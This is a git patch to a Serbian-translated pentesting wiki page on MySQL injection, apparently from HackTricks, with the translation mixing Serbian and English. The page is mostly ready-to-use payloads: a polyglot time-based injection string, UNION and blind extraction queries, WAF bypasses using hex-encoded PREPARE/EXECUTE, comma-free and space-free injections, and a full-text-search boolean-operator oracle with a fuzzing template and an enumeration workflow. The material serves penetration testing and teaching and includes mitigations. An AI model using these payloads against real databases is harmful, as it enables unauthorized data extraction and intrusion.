From 36843c9fa96aa33acb7a5755b2c9079996222ac1 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 1 Oct 2025 00:49:00 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-web/sql-injection/mysql-injection/README --- .../sql-injection/mysql-injection/README.md | 107 +++++++++++++----- 1 file changed, 78 insertions(+), 29 deletions(-) diff --git a/src/pentesting-web/sql-injection/mysql-injection/README.md b/src/pentesting-web/sql-injection/mysql-injection/README.md index 667ae076f..bbddddecc 100644 --- a/src/pentesting-web/sql-injection/mysql-injection/README.md +++ b/src/pentesting-web/sql-injection/mysql-injection/README.md @@ -12,7 +12,7 @@ /*! MYSQL Special SQL */ /*!32302 10*/ Comment for MySQL version 3.23.02 ``` -## Zanimljive Funkcije +## Zanimljive funkcije ### Potvrdi Mysql: ``` @@ -44,15 +44,15 @@ SELECT group_concat(if(strcmp(table_schema,database()),table_name,null)) SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END) strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep() ``` -## Sve injekcije +## Sve injection ```sql SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/" ``` -from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/) +iz [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/) ## Tok -Zapamtite da u "modernim" verzijama **MySQL** možete zameniti "_**information_schema.tables**_" sa "_**mysql.innodb_table_stats**_**"** (Ovo može biti korisno za zaobilaženje WAF-ova). +Imaj na umu da u "modernim" verzijama **MySQL** možeš zameniti "_**information_schema.tables**_" za "_**mysql.innodb_table_stats**_**"** (Ovo može biti korisno za zaobilaženje WAFs). ```sql SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables SELECT column_name FROM information_schema.columns WHERE table_name=""; #Get name of the columns of the table @@ -64,12 +64,12 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges - `group_concat()` - `Limit X,1` -### **Slepo jedan po jedan** +### **Blind one by one** -- `substr(version(),X,1)='r'` ili `substring(version(),X,1)=0x70` ili `ascii(substr(version(),X,1))=112` +- `substr(version(),X,1)='r'` or `substring(version(),X,1)=0x70` or `ascii(substr(version(),X,1))=112` - `mid(version(),X,1)='5'` -### **Slepo dodavanje** +### **Blind adding** - `LPAD(version(),1...lenght(version()),'1')='asd'...` - `RPAD(version(),1...lenght(version()),'1')='asd'...` @@ -79,7 +79,7 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges ## Otkrivanje broja kolona -Korišćenje jednostavnog ORDER +Korišćenjem jednostavnog ORDER ``` order by 1 order by 2 @@ -101,75 +101,120 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... ``` ## SSRF -**Saznajte ovde različite opcije za** [**zloupotrebu Mysql injekcije da dobijete SSRF**](mysql-ssrf.md)**.** +**Saznajte ovde različite opcije za** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.** -## WAF bypass trikovi +## WAF bypass tricks -### Izvršavanje upita kroz Pripremljene Izjave +### Izvršavanje upita kroz Prepared Statements -Kada su složeni upiti dozvoljeni, može biti moguće zaobići WAF-ove dodeljivanjem heksadecimalne reprezentacije upita koji želite da izvršite (koristeći SET) varijabli, a zatim koristiti PREPARE i EXECUTE MySQL izjave da konačno izvršite upit. Nešto poput ovoga: +Kada su stacked queries dozvoljene, moguće je pokušati zaobići WAFs dodeljivanjem promenljivoj hex reprezentacije upita koji želite izvršiti (korišćenjem SET), a zatim upotrebom PREPARE i EXECUTE MySQL statements da biste na kraju izvršili upit. Nešto ovako: ``` 0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; # ``` -Za više informacija, molimo vas da se obratite [ovom blog postu](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce). +Za više informacija pogledajte [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce). -### Information_schema alternative +### Alternative za Information_schema -Zapamtite da u "modernim" verzijama **MySQL** možete zameniti _**information_schema.tables**_ sa _**mysql.innodb_table_stats**_ ili sa _**sys.x$schema_flattened_keys**_ ili sa **sys.schema_table_statistics** +Imajte na umu da u "modernim" verzijama **MySQL** možete zameniti _**information_schema.tables**_ sa _**mysql.innodb_table_stats**_ ili sa _**sys.x$schema_flattened_keys**_ ili sa **sys.schema_table_statistics** -### MySQLinjection bez ZAREZA +### MySQLinjection bez zareza -Izaberite 2 kolone bez korišćenja bilo kakvog zareza ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)): +Selektovanje 2 kolone bez korišćenja zareza ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)): ``` -1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1# ``` ### Preuzimanje vrednosti bez imena kolone -Ako u nekom trenutku znate ime tabele, ali ne znate imena kolona unutar tabele, možete pokušati da saznate koliko kolona ima izvršavajući nešto poput: +Ako u nekom trenutku znate ime tabele, ali ne znate imena kolona u tabeli, možete pokušati da otkrijete koliko kolona ima izvršavanjem nečega poput: ```bash # When a True is returned, you have found the number of columns select (select "", "") = (SELECT * from demo limit 1); # 2columns select (select "", "", "") < (SELECT * from demo limit 1); # 3columns ``` -Pretpostavljajući da postoje 2 kolone (prva je ID, a druga je flag), možete pokušati da bruteforce-ujete sadržaj flaga pokušavajući karakter po karakter: +Pretpostavljajući da postoje 2 kolone (prva je ID, a druga flag), možete pokušati bruteforce sadržaj flag-a karakter po karakter: ```bash # When True, you found the correct char and can start ruteforcing the next position select (select 1, 'flaf') = (SELECT * from demo limit 1); ``` Više informacija na [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952) -### Injekcija bez PROSTORA (`/**/` trik sa komentarima) +### Injection without SPACES (`/**/` comment trick) -Neke aplikacije sanitizuju ili analiziraju korisnički unos pomoću funkcija kao što je `sscanf("%128s", buf)` koje **staju na prvom razmaku**. -Pošto MySQL tretira sekvencu `/**/` kao komentar *i* kao razmak, može se koristiti za potpuno uklanjanje normalnih razmaka iz payload-a dok se upit sintaktički održava validnim. +Neke aplikacije sanitizuju ili parsiraju korisnički unos funkcijama kao što su `sscanf("%128s", buf)` koje **prestaju na prvom karakteru razmaka**. +Pošto MySQL tretira sekvencu `/**/` kao komentar *i* kao whitespace, može se koristiti da potpuno ukloni normalne razmake iz payload-a, istovremeno zadržavajući upit sintaksno validnim. -Primer vremenski zasnovane slepe injekcije koja zaobilazi filter razmaka: +Primer time-based blind injection koji zaobilazi filter za razmake: ```http GET /api/fabric/device/status HTTP/1.1 Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-' ``` -Koji baza podataka prima kao: +Koju baza podataka prima kao: ```sql ' OR SLEEP(5)-- -' ``` Ovo je posebno korisno kada: -* Kontrolisani bafer je ograničenog veličine (npr. `%128s`) i razmaci bi prerano prekinuli unos. -* Injektovanje kroz HTTP zaglavlja ili druga polja gde se normalni razmaci uklanjaju ili koriste kao razdvojivači. -* U kombinaciji sa `INTO OUTFILE` primitivima za postizanje potpunog pre-auth RCE (vidi odeljak o MySQL File RCE). +* Kontrolisani buffer je ograničen veličinom (npr. `%128s`) i razmaci bi prerano prekinuli unos. +* Injektovanje kroz HTTP headers ili druga polja gde su normalni razmaci uklonjeni ili se koriste kao separatori. +* U kombinaciji sa `INTO OUTFILE` primitivama da se ostvari potpuni pre-auth RCE (vidi sekciju MySQL File RCE). --- ### MySQL istorija -Možete videti druge izvršenja unutar MySQL-a čitajući tabelu: **sys.x$statement_analysis** +Možete videti druga izvršavanja unutar MySQL-a čitanjem tabele: **sys.x$statement_analysis** -### Verzija alternativa**s** +### Alternativne verzije ``` mysql> select @@innodb_version; mysql> select @@version; mysql> select version(); ``` +## MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR) + +Ovo nije klasičan SQL injection. Kada developeri proslede korisnički unos u `MATCH(col) AGAINST('...' IN BOOLEAN MODE)`, MySQL izvršava bogat skup Boolean search operatora unutar navodnika. Mnoge WAF/SAST pravila se fokusiraju samo na prekid navodnika i promaše ovu površinu. + +Key points: +- Operatori se procenjuju unutar navodnika: `+` (mora da sadrži), `-` (ne sme da sadrži), `*` (trailing wildcard), `"..."` (tačna fraza), `()` (grupisanje), `<`/`>`/`~` (težine). Pogledajte MySQL dokumentaciju. +- Ovo omogućava testove prisustva/odsutnosti i testove prefiksa bez izlaska iz string literala, npr. `AGAINST('+admin*' IN BOOLEAN MODE)` da se proveri bilo koji termin koji počinje sa `admin`. +- Koristan za izgradnju orakula kao što su “da li bilo koji red sadrži termin sa prefiksom X?” i za enumeraciju skrivenih stringova putem proširenja prefiksa. + +Example query built by the backend: +```sql +SELECT tid, firstpost +FROM threads +WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE); +``` +Ako aplikacija vraća različite odgovore u zavisnosti od toga da li je result set prazan (npr. redirect vs. error message), to ponašanje postaje Boolean oracle koji se može koristiti za enumeraciju privatnih podataka kao što su skrivene/obrisane naslovi. + +Sanitizer bypass patterns (generic): +- Boundary-trim preserving wildcard: ako backend skraćuje 1–2 završna karaktera po reči putem regex-a kao `(\b.{1,2})(\s)|(\b.{1,2}$)`, pošaljite `prefix*ZZ`. čistač ukloni `ZZ` ali ostavi `*`, tako da `prefix*` preživi. +- Early-break stripping: ako kod uklanja operatore po reči ali prestane sa obradom kada naiđe na bilo koji token sa dužinom ≥ min length, pošaljite dva tokena: prvi je junk token koji zadovoljava prag dužine, drugi nosi operator payload. Na primer: `&&&&& +jack*ZZ` → nakon čišćenja: `+&&&&& +jack*`. + +Payload template (URL-encoded): +``` +keywords=%26%26%26%26%26+%2B{FUZZ}*xD +``` +- `%26` je `&`, `%2B` je `+`. Završni `xD` (ili bilo koja dva slova) se obrezuje od strane cleaner-a, pri čemu se čuva `{FUZZ}*`. +- Treat a redirect as “match” and an error page as “no match”. Don’t auto-follow redirects to keep the oracle observable. + +Enumeration workflow: +1) Počnite sa `{FUZZ} = a…z,0…9` da biste pronašli first-letter matches putem `+a*`, `+b*`, … +2) Za svaki pozitivni prefiks, granajte se: `a* → aa* / ab* / …`. Ponavljajte da biste rekonstruisali ceo string. +3) Distribuirajte zahteve (proxies, multiple accounts) ako aplikacija nameće flood control. + +Why titles often leak while contents don’t: +- Neke aplikacije primenjuju provere vidljivosti tek nakon preliminarnog MATCH na titles/subjects. Ako control-flow zavisi od ishoda “any results?” pre filtriranja, dešavaju se existence leaks. + +Mitigations: +- Ako vam ne treba Boolean logika, koristite `IN NATURAL LANGUAGE MODE` ili tretirajte korisnički unos kao literal (escape/quote onemogućava operatore u drugim modovima). +- Ako je Boolean mode neophodan, uklonite ili neutralizujte sve Boolean operatore (`+ - * " ( ) < > ~`) za svaki token (bez ranih prekida) nakon tokenizacije. +- Primenite visibility/authorization filtre pre MATCH, ili ujednačite odgovore (konstantno vreme odziva/status) kada je result set prazan naspram nepraznog. +- Pregledajte analogne funkcije u drugim DBMS: PostgreSQL `to_tsquery`/`websearch_to_tsquery`, SQL Server/Oracle/Db2 `CONTAINS` takođe parse-uju operatore unutar quoted argumenata. + +Notes: +- Prepared statements ne štite od semantičke zloupotrebe `REGEXP` ili search operators. Unos poput `.*` ostaje permisivan regex čak i unutar quoted `REGEXP '.*'`. Koristite allow-lists ili eksplicitne garde. + ## Ostali MYSQL injection vodiči - [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) @@ -178,6 +223,10 @@ mysql> select version(); - [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) - [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) +- [MySQL Full-Text Search – Boolean mode](https://dev.mysql.com/doc/refman/8.4/en/fulltext-boolean.html) +- [MySQL Full-Text Search – Overview](https://dev.mysql.com/doc/refman/8.4/en/fulltext-search.html) +- [MySQL REGEXP documentation](https://dev.mysql.com/doc/refman/8.4/en/regexp.html) +- [ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)](https://exploit.az/posts/wor/) {{#include ../../../banners/hacktricks-training.md}}